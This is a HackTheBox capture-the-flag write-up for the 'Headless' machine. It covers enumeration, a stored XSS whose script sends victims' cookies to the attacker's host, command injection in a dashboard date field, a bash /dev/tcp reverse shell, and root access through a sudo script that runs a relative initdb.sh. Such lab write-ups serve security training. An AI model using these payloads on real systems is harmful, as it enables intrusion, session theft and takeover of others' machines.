URLLink đź”—
LevelEasy
Attacker IP10.10.14.31
Target IP10.10.11.8

Intro#

Today I am tackling the HackTheBox machine Headless. I will start with discovering a web server running on TCP/5000. Then I will uncover a Stored XSS. By exploiting this, I will exfiltrate the is_admin cookie, gaining access to the restricted endpoint, abuse a command injection within it to achieve RCE and establish a reverse shell. Ultimately, I will escalate privileges by exploiting a misconfigured script to obtain root access and pwn the target.

Enumeration#

Nmap#

During the initial reconnaissance, I executed an Nmap scan:

nmap -sCV -vv -oN tcp1000 10.10.11.8

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
# Redacted output
5000/tcp open  upnp?   syn-ack ttl 63
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     <html lang="en">
|     <head>
|     <title>Under Construction</title>
|     <!-- ... -->
|_    </html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan revealed two significant open ports: TCP/22 and TCP/5000.

The TCP/22 port was running OpenSSH 9.2p1 on a Debian system, which could prove useful later, but it was the TCP/5000 which piqued my interest, as it responded with a HTTP response, hinting TCP/5000 was running a webserver.

This web server was powered by Werkzeug 2.2.2 and Python 3.11.2. The HTTP response included a Set-Cookie header with a value of is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs, suggesting a potential session or privilege escalation attack vector.

I moved on to examining the web app itself.

TCP/5000#

Upon navigating to the target’s simple webpage, I was greeted with a countdown timer indicating when the site would go live, along with a link to a Contact Support Form.

Contact support form#

This form was accessible via the /support endpoint. I tried a basic Cross-Site Scripting (XSS) attack.

Submitting the form triggered a POST request to the same /support endpoint. I crafted a straightforward XSS payload, <script>alert(1)</script>, and included it in the message field of the form submission. The HTTP request looked like this:

POST /support HTTP/1.1
Host: 10.10.11.8:5000
Content-Type: application/x-www-form-urlencoded
Referer: http://10.10.11.8:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
# ...

fname=asdf&lname=zxcv&email=a%40a.pl&phone=1&message=<script>alert(1)</script>

The server responded with 200 OK, but the content of the response indicated that my attempt had been detected as a hacking attempt. The response included a page titled Hacking Attempt Detected suggesting that some form of server-side input validation or filtering was in place.

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.11.2
Date: Thu, 13 Feb 2025 22:14:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2438
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacking Attempt Detected</title>
    <!-- ... -->
</head>
</html>

Additionally, I received a notification that my IP address had been reported, which was a clear indication that the system was actively monitoring and logging suspicious activities.

Subpath Enumeration#

Out of ideas, I decided to move on to subpath enumeration using feroxbuster:

feroxbuster --url http://10.10.11.8 --wordlist /usr/share/wordlists/dirb/common.txt -o feroxb_common

The output revealed several interesting paths:

200      GET       93l      179w     2363c http://10.10.11.8:5000/support
200      GET       96l      259w     2799c http://10.10.11.8:5000/
500      GET        5l       37w      265c http://10.10.11.8:5000/dashboard

Among the discovered paths, /dashboard caught my attention. While /support was accessible, visiting /dashboard resulted in a 401 Unauthorized error. This indicated that access to the dashboard was restricted, likely requiring authentication.

Given that I had the is_admin cookie set, I speculated that perhaps an administrator-level cookie was necessary to gain access to the dashboard. I needed to circumvent the server-side input validation somehow.

Obtaining a Stored XSS#

Initially, I attempted various payloads as POST form data, but none seemed to yield any results. However, the request parameters were being reflected back to me. This reflection, coupled with a rather ominous message stating “your IP has been reported,” led me to suspect that these parameters might also be reflected on the administrator’s end.

To investigate further, I used Burp Suite’s Proxy feature to intercept and modify the HTTP requests:

POST /support HTTP/1.1
Host: 10.10.11.8:5000
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Test: <script>alert(1)</script>

fname=asdf&lname=zxcv&email=a%40a.pl&phone=1&message=%3Cscript%3E

I’ve added a Test header along with message=<script> to cause the reflection of the headers and flagging the request as a hacking attempt. This way I confirmed the presence of a reflected XSS. Furthermore, it shall be opened by the Administrator at some point, given it was creating a security report (effectively becoming a Stored XSS vulnerability).

I crafted a payload designed to extract cookies from the target application, by setting up Python’s HTTP server:

python3 -m http.server 8081

💡 I used TCP/8081 as 8080 was already taken by Burp Suite’s Proxy

I then injected a malicious script into the application by sending a POST /support request, with the payload embedded within the User-Agent header:

<!-- Cookies stealing payload -->
<script>
var i=new Image();
i.src="http://10.10.14.31:8081" + btoa(document.cookie);
</script>

đź’ˇ This payload creates new Image object and sets its source to my Attack Box address concatenated with the base64-encoded cookies

POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: <script>var i=new Image();i.src="http://10.10.14.31:8081" + btoa(document.cookie);</script>
# ...

fname=k&lname=k&email=k%40k.pl&phone=123456789&message=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

This triggered a GET request to my server, effectively exfiltrating the cookies. On the server side, I observed the following output:

Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.14.31 - - [14/Feb/2025 10:25:06] code 404, message File not found
10.10.14.31 - - [14/Feb/2025 10:25:06] "
GET /img.png?c=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 404 -

Then I promptly decoded the cookies:

echo -n "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d 

is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

Armed with this stolen is_admin cookie, I was able to authenticate as an admin and gain access to the /dashboard endpoint:

Enumerating the /dashboard#

By interacting with the Generate Report button, I received a benign message stating, Systems are up and running!. This was triggered by a POST request to the /dashboard endpoint:

POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
# ...

date=2023-09-15

I suspected that the date parameter was vulnerable to command injection. I modified the parameter to include a command injection payload: 2023-09-15;whoami. This alteration revealed the username dvir and confirmed that I had achieved Remote Code Execution. Nice đź’Ş

POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
# ...

date=2023-09-15;whoami;cat+~/user.txt;

By appending cat ~/user.txt to the payload, I successfully read the user flag.

Establishing a Rev Shell#

I proceeded to craft a reverse shell command. I used the following command to initiate the reverse shell:

# exec bash -i &>/dev/tcp/10.10.14.31/7777 <&1
date=2023-09-15;bash+-c+'exec+bash+-i+%26>/dev/tcp/10.10.14.31/7777+<%261'

This command leveraged bash to run an interactive shell session, redirecting input and output through a TCP connection to my listening machine at IP address 10.10.14.31 on TCP/7777.

On my local machine, I set up a listener using Netcat to catch the incoming connection:

nc -lvp 7777

By executing these commands, I successfully obtained a reverse shell đź’Ş

Privilege Escalation#

First, I’ve enumerated the sudo privileges available to dvir. The output revealed that dvir could execute the /usr/bin/syscheck script as root without providing a password which was a potential privilege escalation vector:

sudo -l 
# ...
User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

To understand what syscheck was, I delved into the filesystem as dvir and stumbled upon an email in /var/mail/dvir.

The email provided context about a new system check script, likely referring to syscheck, and then I confirmed it was indeed a script:

cat /var/mail/dvir

Subject: Important Update: New System Check Script

Hello!

We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.

What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.

Rest assured, this script is at your disposal and won't affect your regular use of the system.

If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.

By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless

Armed with this information, I examined the contents of syscheck:

cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

The script checked for the existence of an initdb.sh script and executed it if not found. Knowing that, I tried to escalate privileges by creating a malicious initdb.sh script:

echo '#!/bin/bash' >> initdb.sh
echo "cat /root/root.txt" >> initdb.sh

cat initdb.sh 

#!/bin/bash
cat /root/root.txt

Pwned#

After making the script executable, I ran syscheck with elevated privileges:

chmod +x initdb.sh
sudo /usr/bin/syscheck

Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average:  0.14, 0.09, 0.02
Database service is not running. Starting it...
<redacted flag>

Pwned.